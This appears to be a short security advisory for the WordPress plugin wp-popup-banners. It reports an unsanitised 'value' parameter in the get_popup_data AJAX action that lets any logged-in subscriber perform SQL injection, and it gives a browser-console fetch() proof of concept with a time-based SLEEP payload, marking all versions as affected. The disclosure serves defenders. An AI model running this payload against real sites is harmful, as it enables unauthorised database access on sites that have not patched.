The plugin does not properly sanitise and escape the value parameter before using it in a SQL statement via the get_popup_data AJAX action, leading to a SQL injection exploitable by any authenticated users, such as subscriber
Run the below command in the developer console of the web browser while being on the blog as subscriber user fetch(“/wp-admin/admin-ajax.php”, { “headers”: { “content-type”: “application/x-www-form-urlencoded”, }, “method”: “POST”, “body”: ‘action=get_popup_data&value;=1+AND+(SELECT+1+FROM+(SELECT(SLEEP(1)))a)’, “credentials”: “include” }).then(response => response.text()) .then(data => console.log(data));
CPE | Name | Operator | Version |
---|---|---|---|
wp-popup-banners | eq | * |